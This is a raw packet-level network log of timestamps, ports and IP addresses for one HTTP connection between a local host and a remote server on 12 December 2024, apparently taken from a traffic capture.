Dec 12, 2024 21:50:49.192177057 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.208864927 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.218933105 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.325051069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.325078011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.325356960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.325658083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.325758934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.326999903 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.327152967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.327874899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.328093052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.328208923 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.329196930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.329308987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.329576015 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.330317974 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.330457926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.331532955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.331635952 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.332740068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.332849026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.333869934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.333915949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.334929943 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.335007906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.336061954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.336158991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.337227106 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.337337971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.338466883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.338490009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.339550018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.339636087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.339660883 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.339741945 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.339884996 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.340821981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.340881109 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.341861010 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.341998100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.342988014 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.343137026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.344127893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.344358921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.345386028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.345458031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.346447945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.346546888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.347563982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.347680092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.348756075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.348890066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.349709988 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.349901915 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.350104094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.351089954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.351181984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.352252007 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.352372885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.353332043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.353475094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.354486942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.354600906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.355627060 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.355706930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.356759071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.356842995 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.357961893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.358146906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.359102964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.359183073 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.360295057 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.360348940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.361387968 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.361462116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.362605095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.362677097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.363719940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.364016056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.365015030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.365057945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.366105080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.366183043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.367149115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.367278099 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.368283987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.368365049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.369462967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.369589090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.369891882 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.370630980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.370757103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.371750116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.371886015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.372889042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.372982025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.374027967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.374263048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.375169039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.375260115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.376425982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.376478910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.377722979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.377739906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.378624916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.378762960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.379801989 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.379956961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.380019903 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.380310059 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.380332947 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.380358934 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.380397081 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.380454063 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.380985022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.381071091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.382163048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.382313967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.383219957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.383317947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.384362936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.384427071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.390206099 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.410260916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.520807981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.520896912 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.521346092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.521519899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.521519899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.521604061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.521636963 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.521652937 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.522674084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.522842884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.523462057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.523654938 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.523812056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.523963928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.523999929 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.524692059 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.524997950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.525049925 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.525095940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.525150061 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.526124001 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.526168108 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.526210070 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.526283026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.527261972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.527306080 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.527399063 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.527439117 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.528403044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.528443098 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.528489113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.528527975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.529551029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.529594898 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.529727936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.529771090 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.530739069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.530781984 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.530877113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.530917883 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.531917095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.531985998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.532813072 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.533004999 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.533071041 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.533154011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.533245087 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.534188032 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.534234047 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.534307003 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.534354925 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.535423994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.535465002 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.535506964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.535547972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.536509991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.536550999 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.536588907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.536648035 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.537656069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.537722111 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.537759066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.537797928 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.539227009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.539243937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.539271116 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.539298058 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.539936066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.539977074 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.540005922 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.540055990 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.541064978 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.541105986 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.541146994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.541187048 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.544800043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.544816017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.544831991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.544847965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.545490026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.545567036 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.545619011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.546601057 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.546641111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.547714949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.547872066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.547907114 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.548038960 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.548261881 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.548314095 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.548441887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.549042940 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.549369097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.549412966 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.549792051 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.549832106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.550554037 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.550570011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.550597906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.552807093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.552984953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.553340912 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.553544044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.553764105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.554234028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.554251909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.554712057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.555454016 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.555598021 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.555629969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.555830956 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.556946039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.556962967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.557008982 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.557034969 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.557589054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.557605982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.558487892 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.558504105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.558792114 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.558907032 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.559670925 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.559688091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.560298920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.561412096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.561605930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.562504053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.562691927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.562719107 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.563781977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.563884974 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.564254999 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.564583063 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.565499067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.565515041 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.566523075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.566709042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.567640066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.568011045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.568774939 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.568912983 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.568942070 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.568970919 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.569091082 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.569159031 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.569936037 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.570116997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.571019888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.571232080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.571465969 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.572149038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.572293997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.573318958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.573411942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.574163914 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.576411963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.576427937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.576442957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.576458931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.576481104 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.576481104 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.576505899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.576987982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.577028036 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.577159882 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.577202082 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.578095913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.578136921 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.578272104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.578315973 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.579265118 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.579279900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.579319000 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.579340935 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.580372095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.580388069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.580414057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.580507040 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.712977886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.713062048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.713295937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.713433981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.714474916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.714565039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.715653896 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.715796947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.716497898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.716660976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.717775106 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.717854023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.718766928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.718905926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.719887972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.719985962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.721044064 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.721174955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.722213984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.722356081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.723457098 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.723624945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.724850893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.724961042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.726075888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.726211071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.727180004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.727370977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.728355885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.728435993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.729398966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.729469061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.730355978 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.730464935 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.731395960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.731519938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.732526064 CET	49971	80	192.168.2.6	31.41.244.11
